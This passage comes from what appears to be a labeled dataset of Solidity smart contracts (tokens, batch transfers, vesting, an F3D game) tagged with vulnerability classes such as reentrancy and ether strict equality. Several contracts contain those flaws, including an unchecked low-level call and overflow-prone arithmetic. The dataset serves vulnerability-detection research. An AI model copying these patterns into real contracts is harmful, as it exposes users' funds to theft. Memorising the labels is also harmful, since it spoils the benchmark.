allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to `to` account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer `tokens` from the `from` account to the `to` account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the `from` account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account. The `spender` contract function // `receiveApproval(...)` is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) external returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); TokenRecipientInterface(spender).receiveApproval(msg.sender, tokens, this, data); return true; } function transferBulk(address[] to, uint[] tokens) public { require(to.length == tokens.length); for (uint i = 0; i < to.length; i++) { transfer(to[i], tokens[i]); } } function approveBulk(address[] spender, uint[] tokens) public { require(spender.length == tokens.length); for (uint i = 0; i < spender.length; i++) { approve(spender[i], tokens[i]); } } // ---------------------------- ERC223 ---------------------------- // Function that is called when a user or another contract wants to transfer funds . function transfer(address _to, uint _value, bytes _data) external returns (bool success) { if(isContract(_to)) { return transferToContract(_to, _value, _data); } else { return transferToAddress(_to, _value, _data); } } //function that is called when transaction target is a contract function transferToContract(address _to, uint _value, bytes _data) public returns (bool success) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); TokenFallback receiver = TokenFallback(_to); receiver.tokenFallback(msg.sender, _value, _data); emit Transfer(msg.sender, _to, _value, _data); return true; } //assemble the given address bytecode. If bytecode exists then the _addr is a contract. function isContract(address _addr) private view returns (bool is_contract) { uint length; assembly { //retrieve the size of the code on target address, this needs assembly length := extcodesize(_addr) } return (length>0); } //function that is called when transaction target is an address function transferToAddress(address _to, uint tokens, bytes _data) public returns (bool success) { balances[msg.sender] = balances[msg.sender].sub(tokens); balances[_to] = balances[_to].add(tokens); emit Transfer(msg.sender, _to, tokens, _data); return true; } // @dev Transfers to _withdrawToAddress all tokens controlled by // contract _tokenContract. function withdrawTokenFromBalance(ERC20Interface _tokenContract, address _withdrawToAddress) external onlyOperator { uint256 balance = _tokenContract.balanceOf(address(this)); _tokenContract.transfer(_withdrawToAddress, balance); } }",Safe,8,8 1582.sol,"pragma solidity ^0.4.24; /* ERC20 Standard Token interface */ contract IERC20Token { // these functions aren't abstract since the compiler emits automatically generated getter functions as external function name() public constant returns (string) {} function symbol() public constant returns (string) {} function decimals() public constant returns (uint8) {} function totalSupply() public constant returns (uint256) {} function balanceOf(address _owner) public constant returns (uint256) { _owner; } function allowance(address _owner, address _spender) public constant returns (uint256) { _owner; _spender; } function transfer(address _to, uint256 _value) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); } /* @title Provides support and utilities for contract ownership */ contract Ownable { address public owner; address public newOwner; event OwnerUpdate(address _prevOwner, address _newOwner); /* @dev constructor */ constructor(address _owner) public { owner = _owner; } /* @dev allows execution by the owner only */ modifier ownerOnly { require(msg.sender == owner); _; } /* @dev allows transferring the contract ownership the new owner still needs to accept the transfer can only be called by the contract owner @param _newOwner new contract owner */ function transferOwnership(address _newOwner) public ownerOnly { require(_newOwner != owner); newOwner = _newOwner; } /* @dev used by a new owner to accept an ownership transfer */ function acceptOwnership() public { require(msg.sender == newOwner); emit OwnerUpdate(owner, newOwner); owner = newOwner; newOwner = address(0); } } contract BatchTokensTransfer is Ownable { /* @dev constructor */ constructor () public Ownable(msg.sender) {} function batchTokensTransfer(IERC20Token _token, address[] _usersWithdrawalAccounts, uint256[] _amounts) public ownerOnly() { require(_usersWithdrawalAccounts.length == _amounts.length); for (uint i = 0; i < _usersWithdrawalAccounts.length; i++) { if (_usersWithdrawalAccounts[i] != 0x0) { _token.transfer(_usersWithdrawalAccounts[i], _amounts[i]); } } } function transferToken(IERC20Token _token, address _userWithdrawalAccount, uint256 _amount) public ownerOnly() { require(_userWithdrawalAccount != 0x0 && _amount > 0); _token.transfer(_userWithdrawalAccount, _amount); } function transferAllTokensToOwner(IERC20Token _token) public ownerOnly() { uint256 _amount = _token.balanceOf(this); _token.transfer(owner, _amount); } }",./Dataset/ether strict equality (SE),3,3 20025.sol,"pragma solidity ^0.4.4; contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } contract CurryCoin is StandardToken { // CHANGE THIS. Update the contract name. /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; // Token Name uint8 public decimals; // How many decimals to show. To be standard complicant keep it 18 string public symbol; // An identifier: eg SBX, XPR etc.. string public version = 'H1.0'; uint256 public unitsOneEthCanBuy; // How many units of your coin can be bought by 1 ETH? uint256 public totalEthInWei; // WEI is the smallest unit of ETH (the equivalent of cent in USD or satoshi in BTC). We'll store the total ETH raised via our ICO here. address public fundsWallet; // Where should the raised ETH go? // This is a constructor function // which means the following function name has to match the contract name declared above function CurryCoin() { balances[msg.sender] = 100000000000000000; // Give the creator all initial tokens. This is set to 1000 for example. If you want your initial tokens to be X and your decimal is 8, set this value to X * 1000000000. (CHANGE THIS) totalSupply = 100000000000000000; // Update total supply (1000 for example) (CHANGE THIS) name = ""CurryCoin""; // Set the name for display purposes (CHANGE THIS) decimals = 8; // Amount of decimals for display purposes (CHANGE THIS) symbol = ""CRYC""; // Set the symbol for display purposes (CHANGE THIS) unitsOneEthCanBuy = 100000; // Set the price of your token for the ICO (CHANGE THIS) fundsWallet = msg.sender; // The owner of the contract gets ETH } function() payable{ totalEthInWei = totalEthInWei + msg.value; uint256 amount = msg.value * unitsOneEthCanBuy; require(balances[fundsWallet] >= amount); balances[fundsWallet] = balances[fundsWallet] - amount; balances[msg.sender] = balances[msg.sender] + amount; Transfer(fundsWallet, msg.sender, amount); // Broadcast a message to the blockchain //Transfer ether to fundsWallet fundsWallet.transfer(msg.value); } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)) { throw; } return true; } }",./Dataset/reentrancy (RE)/,5,5 1178.sol,"pragma solidity 0.4.21; pragma experimental ""v0.5.0""; contract Owned { address public owner; address public newOwner; function Owned() public { owner = msg.sender; } modifier onlyOwner { assert(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { require(_newOwner != owner); newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); emit OwnerUpdate(owner, newOwner); owner = newOwner; newOwner = 0x0; } event OwnerUpdate(address _prevOwner, address _newOwner); } library SafeMath { /** * @dev Multiplies two numbers, throws on overflow.*/ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } interface ERC20TokenInterface { function transfer(address _to, uint256 _value) external returns (bool success); function transferFrom(address _from, address _to, uint256 _value) external returns (bool success); function approve(address _spender, uint256 _value) external returns (bool success); function allowance(address _owner, address _spender) external view returns (uint256 remaining); function totalSupply() external view returns (uint256 _totalSupply); function balanceOf(address _owner) external view returns (uint256 balance); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } interface TokenVestingInterface { function getReleasableFunds() external view returns (uint256); function release() external; function setWithdrawalAddress(address _newAddress) external; function revoke(string _reason) external view; function getTokenBalance() external view returns (uint256); function updateBalanceOnFunding(uint256 _amount) external; function salvageOtherTokensFromContract(address _tokenAddress, address _to, uint _amount) external; function salvageNotAllowedTokensSentToContract(address _to, uint _amount) external; } interface VestingMasterInterface { function amountLockedInVestings() view external returns (uint256); function substractLockedAmount(uint256 _amount) external; function addLockedAmount(uint256 _amount) external; function addInternalBalance(uint256 _amount) external; } interface ReleasingScheduleInterface { function getReleasableFunds(address _vesting) external view returns (uint256); } /** @title Linear releasing schedule contract */ contract ReleasingScheduleLinearContract { /** @dev Contains functionality for releasing funds linearly; set amount on set intervals until funds are available * @param _startTime Start time of schedule (not first releas time) * @param _tickDuration Interval of payouts * @param _amountPerTick Amount to be released per interval * @return created contracts address. */ using SafeMath for uint256; uint256 public startTime; uint256 public tickDuration; uint256 public amountPerTick; function ReleasingScheduleLinearContract(uint256 _startTime, uint256 _tickDuration, uint256 _amountPerTick) public{ startTime = _startTime; tickDuration = _tickDuration; amountPerTick = _amountPerTick; } function getReleasableFunds(address _vesting) public view returns (uint256){ TokenVestingContract vesting = TokenVestingContract(_vesting); uint256 balance = ERC20TokenInterface(vesting.tokenAddress()).balanceOf(_vesting); // check if there is balance and if it is active yet if (balance == 0 || (startTime >= now)) { return 0; } // all funds that may be released according to vesting schedule uint256 vestingScheduleAmount = (now.sub(startTime) / tickDuration) * amountPerTick; // deduct already released funds uint256 releasableFunds = vestingScheduleAmount.sub(vesting.alreadyReleasedAmount()); // make sure to release remainder of funds for last payout if (releasableFunds > balance) { releasableFunds = balance; } return releasableFunds; } } contract TgeOtherReleasingScheduleContract is ReleasingScheduleLinearContract { uint256 constant releaseDate = 1578873600; uint256 constant monthLength = 2592000; function TgeOtherReleasingScheduleContract(uint256 _amount, uint256 _startTime) ReleasingScheduleLinearContract(_startTime - monthLength, monthLength, _amount / 12) public { } function getReleasableFunds(address _vesting) public view returns (uint256) { if (now < releaseDate) { return 0; } return super.getReleasableFunds(_vesting); } } contract TgeTeamReleasingScheduleContract { uint256 constant releaseDate = 1578873600; function TgeTeamReleasingScheduleContract() public {} function getReleasableFunds(address _vesting) public view returns (uint256) { TokenVestingContract vesting = TokenVestingContract(_vesting); if (releaseDate >= now) { return 0; } else { return vesting.getTokenBalance(); } } } /** @title Vesting contract*/ contract TokenVestingContract is Owned { /** @dev Contains basic vesting functionality. Uses releasing schedule to ascertain amount of funds to release * @param _beneficiary Receiver of funds. * @param _tokenAddress Address of token contract. * @param _revocable Allows owner to terminate vesting, but all funds yet vested still go to beneficiary. Owner gets remainder of funds back. * @param _changable Allows that releasing schedule and withdrawal address be changed. Essentialy rendering contract not binding. * @param _releasingScheduleContract Address of scheduling contract, that implements getReleasableFunds() function * @return created vesting's address. */ using SafeMath for uint256; address public beneficiary; address public tokenAddress; bool public canReceiveTokens; bool public revocable; // bool public changable; // allows that releasing schedule and withdrawal address be changed. Essentialy rendering contract not binding. address public releasingScheduleContract; bool fallbackTriggered; bool public revoked; uint256 public alreadyReleasedAmount; uint256 public internalBalance; event Released(uint256 _amount); event RevokedAndDestroyed(string _reason); event WithdrawalAddressSet(address _newAddress); event TokensReceivedSinceLastCheck(uint256 _amount); event VestingReceivedFunding(uint256 _amount); event SetReleasingSchedule(address _addy); event NotAllowedTokensReceived(uint256 amount); function TokenVestingContract(address _beneficiary, address _tokenAddress, bool _canReceiveTokens, bool _revocable, bool _changable, address _releasingScheduleContract) public { beneficiary = _beneficiary; tokenAddress = _tokenAddress; canReceiveTokens = _canReceiveTokens; revocable = _revocable; changable = _changable; releasingScheduleContract = _releasingScheduleContract; alreadyReleasedAmount = 0; revoked = false; internalBalance = 0; fallbackTriggered = false; } function setReleasingSchedule(address _releasingScheduleContract) external onlyOwner { require(changable); releasingScheduleContract = _releasingScheduleContract; emit SetReleasingSchedule(releasingScheduleContract); } function setWithdrawalAddress(address _newAddress) external onlyOwner { beneficiary = _newAddress; emit WithdrawalAddressSet(_newAddress); } /// release tokens that are already vested/releasable function release() external returns (uint256 transferedAmount) { checkForReceivedTokens(); require(msg.sender == beneficiary || msg.sender == owner); uint256 amountToTransfer = ReleasingScheduleInterface(releasingScheduleContract).getReleasableFunds(this); require(amountToTransfer > 0); // internal accounting alreadyReleasedAmount = alreadyReleasedAmount.add(amountToTransfer); internalBalance = internalBalance.sub(amountToTransfer); VestingMasterInterface(owner).substractLockedAmount(amountToTransfer); // actual transfer ERC20TokenInterface(tokenAddress).transfer(beneficiary, amountToTransfer); emit Released(amountToTransfer); return amountToTransfer; } function revoke(string _reason) external onlyOwner { require(revocable); // returns funds not yet vested according to vesting schedule uint256 releasableFunds = ReleasingScheduleInterface(releasingScheduleContract).getReleasableFunds(this); ERC20TokenInterface(tokenAddress).transfer(beneficiary, releasableFunds); VestingMasterInterface(owner).substractLockedAmount(releasableFunds); // have to do it here, can't use return, because contract selfdestructs // returns remainder of funds to VestingMaster and kill vesting contract VestingMasterInterface(owner).addInternalBalance(getTokenBalance()); ERC20TokenInterface(tokenAddress).transfer(owner, getTokenBalance()); emit RevokedAndDestroyed(_reason); selfdestruct(owner); } function getTokenBalance() public view returns (uint256 tokenBalance) { return ERC20TokenInterface(tokenAddress).balanceOf(address(this)); } // master calls this when it uploads funds in order to differentiate betwen funds from master and 3rd party function updateBalanceOnFunding(uint256 _amount) external onlyOwner { internalBalance = internalBalance.add(_amount); emit VestingReceivedFunding(_amount); } // check for changes in balance in order to track amount of locked tokens and notify master function checkForReceivedTokens() public { if (getTokenBalance() != internalBalance) { uint256 receivedFunds = getTokenBalance().sub(internalBalance); // if not allowed to receive tokens, do not account for them if (canReceiveTokens) { internalBalance = getTokenBalance(); VestingMasterInterface(owner).addLockedAmount(receivedFunds); } else { emit NotAllowedTokensReceived(receivedFunds); } emit TokensReceivedSinceLastCheck(receivedFunds); } fallbackTriggered = true; } function salvageOtherTokensFromContract(address _tokenAddress, address _to, uint _amount) external onlyOwner { require(_tokenAddress != tokenAddress); ERC20TokenInterface(_tokenAddress).transfer(_to, _amount); } function salvageNotAllowedTokensSentToContract(address _to, uint _amount) external onlyOwner { // check if there are any new tokens checkForReceivedTokens(); // only allow sending tokens, that were not allowed to be sent to contract require(_amount <= getTokenBalance() - internalBalance); ERC20TokenInterface(tokenAddress).transfer(_to, _amount); } function () external{ fallbackTriggered = true; } } contract VestingMasterContract is Owned { using SafeMath for uint256; address public tokenAddress; bool public canReceiveTokens; address public moderator; uint256 public internalBalance; uint256 public amountLockedInVestings; bool public fallbackTriggered; struct VestingStruct { uint256 arrayPointer; // custom data address beneficiary; address releasingScheduleContract; string vestingType; uint256 vestingVersion; } address[] public vestingAddresses; mapping(address => VestingStruct) public addressToVestingStruct; mapping(address => address) public beneficiaryToVesting; event VestingContractFunded(address beneficiary, address tokenAddress, uint256 amount); event LockedAmountDecreased(uint256 amount); event LockedAmountIncreased(uint256 amount); event TokensReceivedSinceLastCheck(uint256 amount); event TokensReceivedWithApproval(uint256 amount, bytes extraData); event NotAllowedTokensReceived(uint256 amount); function VestingMasterContract(address _tokenAddress, bool _canReceiveTokens) public{ tokenAddress = _tokenAddress; canReceiveTokens = _canReceiveTokens; internalBalance = 0; amountLockedInVestings = 0; } // todo: make storage lib ////////// STORAGE HELPERS /////////// function vestingExists(address _vestingAddress) public view returns (bool exists){ if (vestingAddresses.length == 0) {return false;} return (vestingAddresses[addressToVestingStruct[_vestingAddress].arrayPointer] == _vestingAddress); } function storeNewVesting(address _vestingAddress, address _beneficiary, address _releasingScheduleContract, string _vestingType, uint256 _vestingVersion) internal onlyOwner returns (uint256 vestingsLength) { require(!vestingExists(_vestingAddress)); addressToVestingStruct[_vestingAddress].beneficiary = _beneficiary; addressToVestingStruct[_vestingAddress].releasingScheduleContract = _releasingScheduleContract; addressToVestingStruct[_vestingAddress].vestingType = _vestingType; addressToVestingStruct[_vestingAddress].vestingVersion = _vestingVersion; beneficiaryToVesting[_beneficiary] = _vestingAddress; addressToVestingStruct[_vestingAddress].arrayPointer = vestingAddresses.push(_vestingAddress) - 1; return vestingAddresses.length; } function deleteVestingFromStorage(address _vestingAddress) internal onlyOwner returns (uint256 vestingsLength) { require(vestingExists(_vestingAddress)); delete (beneficiaryToVesting[addressToVestingStruct[_vestingAddress].beneficiary]); uint256 indexToDelete = addressToVestingStruct[_vestingAddress].arrayPointer; address keyToMove = vestingAddresses[vestingAddresses.length - 1]; vestingAddresses[indexToDelete] = keyToMove; addressToVestingStruct[keyToMove].arrayPointer = indexToDelete; vestingAddresses.length--; return vestingAddresses.length; } function addVesting(address _vestingAddress, address _beneficiary, address _releasingScheduleContract, string _vestingType, uint256 _vestingVersion) public { uint256 vestingBalance = TokenVestingInterface(_vestingAddress).getTokenBalance(); amountLockedInVestings = amountLockedInVestings.add(vestingBalance); storeNewVesting(_vestingAddress, _beneficiary, _releasingScheduleContract, _vestingType, _vestingVersion); } /// releases funds to beneficiary function releaseVesting(address _vestingContract) external { require(vestingExists(_vestingContract)); require(msg.sender == addressToVestingStruct[_vestingContract].beneficiary || msg.sender == owner || msg.sender == moderator); TokenVestingInterface(_vestingContract).release(); } /// Transfers releasable funds from vesting to beneficiary (caller of this method) function releaseMyTokens() external { address vesting = beneficiaryToVesting[msg.sender]; require(vesting != 0); TokenVestingInterface(vesting).release(); } // add funds to vesting contract function fundVesting(address _vestingContract, uint256 _amount) public onlyOwner { // convenience, so you don't have to call it manualy if you just uploaded funds checkForReceivedTokens(); // check if there is actually enough funds require((internalBalance >= _amount) && (getTokenBalance() >= _amount)); // make sure that fundee is vesting contract on the list require(vestingExists(_vestingContract)); internalBalance = internalBalance.sub(_amount); ERC20TokenInterface(tokenAddress).transfer(_vestingContract, _amount); TokenVestingInterface(_vestingContract).updateBalanceOnFunding(_amount); emit VestingContractFunded(_vestingContract, tokenAddress, _amount); } function getTokenBalance() public constant returns (uint256) { return ERC20TokenInterface(tokenAddress).balanceOf(address(this)); } // revoke vesting; release releasable funds to beneficiary and return remaining to master and kill vesting contract function revokeVesting(address _vestingContract, string _reason) external onlyOwner { TokenVestingInterface subVestingContract = TokenVestingInterface(_vestingContract); subVestingContract.revoke(_reason); deleteVestingFromStorage(_vestingContract); } // when vesting is revoked it sends back remaining tokens and updates internalBalance function addInternalBalance(uint256 _amount) external { require(vestingExists(msg.sender)); internalBalance = internalBalance.add(_amount); } // vestings notifies if there has been any changes in amount of locked tokens function addLockedAmount(uint256 _amount) external { require(vestingExists(msg.sender)); amountLockedInVestings = amountLockedInVestings.add(_amount); emit LockedAmountIncreased(_amount); } // vestings notifies if there has been any changes in amount of locked tokens function substractLockedAmount(uint256 _amount) external { require(vestingExists(msg.sender)); amountLockedInVestings = amountLockedInVestings.sub(_amount); emit LockedAmountDecreased(_amount); } // check for changes in balance in order to track amount of locked tokens function checkForReceivedTokens() public { if (getTokenBalance() != internalBalance) { uint256 receivedFunds = getTokenBalance().sub(internalBalance); if (canReceiveTokens) { amountLockedInVestings = amountLockedInVestings.add(receivedFunds); internalBalance = getTokenBalance(); } else { emit NotAllowedTokensReceived(receivedFunds); } emit TokensReceivedSinceLastCheck(receivedFunds); } else { emit TokensReceivedSinceLastCheck(0); } fallbackTriggered = false; } function salvageNotAllowedTokensSentToContract(address _contractFrom, address _to, uint _amount) external onlyOwner { if (_contractFrom == address(this)) { // check if there are any new tokens checkForReceivedTokens(); // only allow sending tokens, that were not allowed to be sent to contract require(_amount <= getTokenBalance() - internalBalance); ERC20TokenInterface(tokenAddress).transfer(_to, _amount); } if (vestingExists(_contractFrom)) { TokenVestingInterface(_contractFrom).salvageNotAllowedTokensSentToContract(_to, _amount); } } function salvageOtherTokensFromContract(address _tokenAddress, address _contractAddress, address _to, uint _amount) external onlyOwner { require(_tokenAddress != tokenAddress); if (_contractAddress == address(this)) { ERC20TokenInterface(_tokenAddress).transfer(_to, _amount); } if (vestingExists(_contractAddress)) { TokenVestingInterface(_contractAddress).salvageOtherTokensFromContract(_tokenAddress, _to, _amount); } } function killContract() external onlyOwner { require(vestingAddresses.length == 0); ERC20TokenInterface(tokenAddress).transfer(owner, getTokenBalance()); selfdestruct(owner); } function setWithdrawalAddress(address _vestingContract, address _beneficiary) external { require(vestingExists(_vestingContract)); TokenVestingContract vesting = TokenVestingContract(_vestingContract); // withdrawal address can be changed only by beneficiary or in case vesting is changable also by owner require(msg.sender == vesting.beneficiary() || (msg.sender == owner && vesting.changable())); TokenVestingInterface(_vestingContract).setWithdrawalAddress(_beneficiary); addressToVestingStruct[_vestingContract].beneficiary = _beneficiary; } function receiveApproval(address _from, uint256 _amount, address _tokenAddress, bytes _extraData) external { require(canReceiveTokens); require(_tokenAddress == tokenAddress); ERC20TokenInterface(_tokenAddress).transferFrom(_from, address(this), _amount); amountLockedInVestings = amountLockedInVestings.add(_amount); internalBalance = internalBalance.add(_amount); emit TokensReceivedWithApproval(_amount, _extraData); } // Deploys a vesting contract to _beneficiary. Assumes that a releasing // schedule contract has already been deployed, so we pass it the address // of that contract as _releasingSchedule function deployVesting( address _beneficiary, string _vestingType, uint256 _vestingVersion, bool _canReceiveTokens, bool _revocable, bool _changable, address _releasingSchedule ) public onlyOwner { TokenVestingContract newVesting = new TokenVestingContract(_beneficiary, tokenAddress, _canReceiveTokens, _revocable, _changable, _releasingSchedule); addVesting(newVesting, _beneficiary, _releasingSchedule, _vestingType, _vestingVersion); } function deployOtherVesting( address _beneficiary, uint256 _amount, uint256 _startTime ) public onlyOwner { TgeOtherReleasingScheduleContract releasingSchedule = new TgeOtherReleasingScheduleContract(_amount, _startTime); TokenVestingContract newVesting = new TokenVestingContract(_beneficiary, tokenAddress, true, true, true, releasingSchedule); addVesting(newVesting, _beneficiary, releasingSchedule, 'other', 1); fundVesting(newVesting, _amount); } function deployTgeTeamVesting( address _beneficiary, uint256 _amount ) public onlyOwner { TgeTeamReleasingScheduleContract releasingSchedule = new TgeTeamReleasingScheduleContract(); TokenVestingContract newVesting = new TokenVestingContract(_beneficiary, tokenAddress, true, true, true, releasingSchedule); addVesting(newVesting, _beneficiary, releasingSchedule, 'X8 team', 1); fundVesting(newVesting, _amount); } /** * Used to transfer ownership of a vesting contract to this master contract. * The vesting contracts require that the master contract be their owner. * Use this when you deploy a TokenVestingContract manually and need to transfer * ownership to this master contract. First call transferOwnership on the vesting * contract. * @param _vesting the vesting contract of which to accept ownership. */ function acceptOwnershipOfVesting(address _vesting) external onlyOwner { TokenVestingContract(_vesting).acceptOwnership(); } function setModerator(address _moderator) external onlyOwner { moderator = _moderator; } function () external{ fallbackTriggered = true; } }",./Dataset/ether strict equality (SE),3,3 2764.sol,"pragma solidity ^0.4.24; contract F3Devents { event onNewName ( uint256 indexed playerID, address indexed playerAddress, bytes32 indexed playerName, bool isNewPlayer, uint256 affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 amountPaid, uint256 timeStamp ); event onEndTx ( uint256 compressedData, uint256 compressedIDs, bytes32 playerName, address playerAddress, uint256 ethIn, uint256 keysBought, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount, uint256 potAmount, uint256 airDropPot ); event onWithdraw ( uint256 indexed playerID, address playerAddress, bytes32 playerName, uint256 ethOut, uint256 timeStamp ); event onWithdrawAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethOut, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onBuyAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethIn, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onReLoadAndDistribute ( address playerAddress, bytes32 playerName, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onAffiliatePayout ( uint256 indexed affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 indexed roundID, uint256 indexed buyerID, uint256 amount, uint256 timeStamp ); event onPotSwapDeposit ( uint256 roundID, uint256 amountAddedToPot ); } contract F3DGoQuick is F3Devents{ using SafeMath for uint256; using NameFilter for string; using F3DKeysCalcFast for uint256; PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0x82e0C3626622d9a8234BFBaf6DD0f8d070C2609D); address private admin = 0xacb257873b064b956BD9be84dc347C55F7b2ae8C; address private coin_base = 0x345A756a49DF0eD24002857dd25DAb6a5F4E83FF; string constant public name = ""F3DLink Quick""; string constant public symbol = ""F3D""; uint256 private rndGap_ = 60 seconds; uint256 constant private rndInit_ = 5 minutes; uint256 constant private rndInc_ = 5 minutes; uint256 constant private rndMax_ = 5 minutes; uint256 public airDropPot_; uint256 public airDropTracker_ = 0; uint256 public rID_; mapping (address => uint256) public pIDxAddr_; mapping (bytes32 => uint256) public pIDxName_; mapping (uint256 => F3Ddatasets.Player) public plyr_; mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_; mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; mapping (uint256 => F3Ddatasets.Round) public round_; mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_; mapping (uint256 => F3Ddatasets.TeamFee) public fees_; mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_; constructor() public { fees_[0] = F3Ddatasets.TeamFee(30,6); fees_[1] = F3Ddatasets.TeamFee(43,0); fees_[2] = F3Ddatasets.TeamFee(56,10); fees_[3] = F3Ddatasets.TeamFee(43,8); potSplit_[0] = F3Ddatasets.PotSplit(15,10); potSplit_[1] = F3Ddatasets.PotSplit(25,0); potSplit_[2] = F3Ddatasets.PotSplit(20,20); potSplit_[3] = F3Ddatasets.PotSplit(30,10); } modifier isActivated() { require(activated_ == true, ""its not ready yet. check ?eta in discord""); _; } modifier isHuman() { address _addr = msg.sender; require (_addr == tx.origin); uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, ""sorry humans only""); _; } modifier isWithinLimits(uint256 _eth) { require(_eth >= 1000000000, ""pocket lint: not a valid currency""); require(_eth <= 100000000000000000000000, 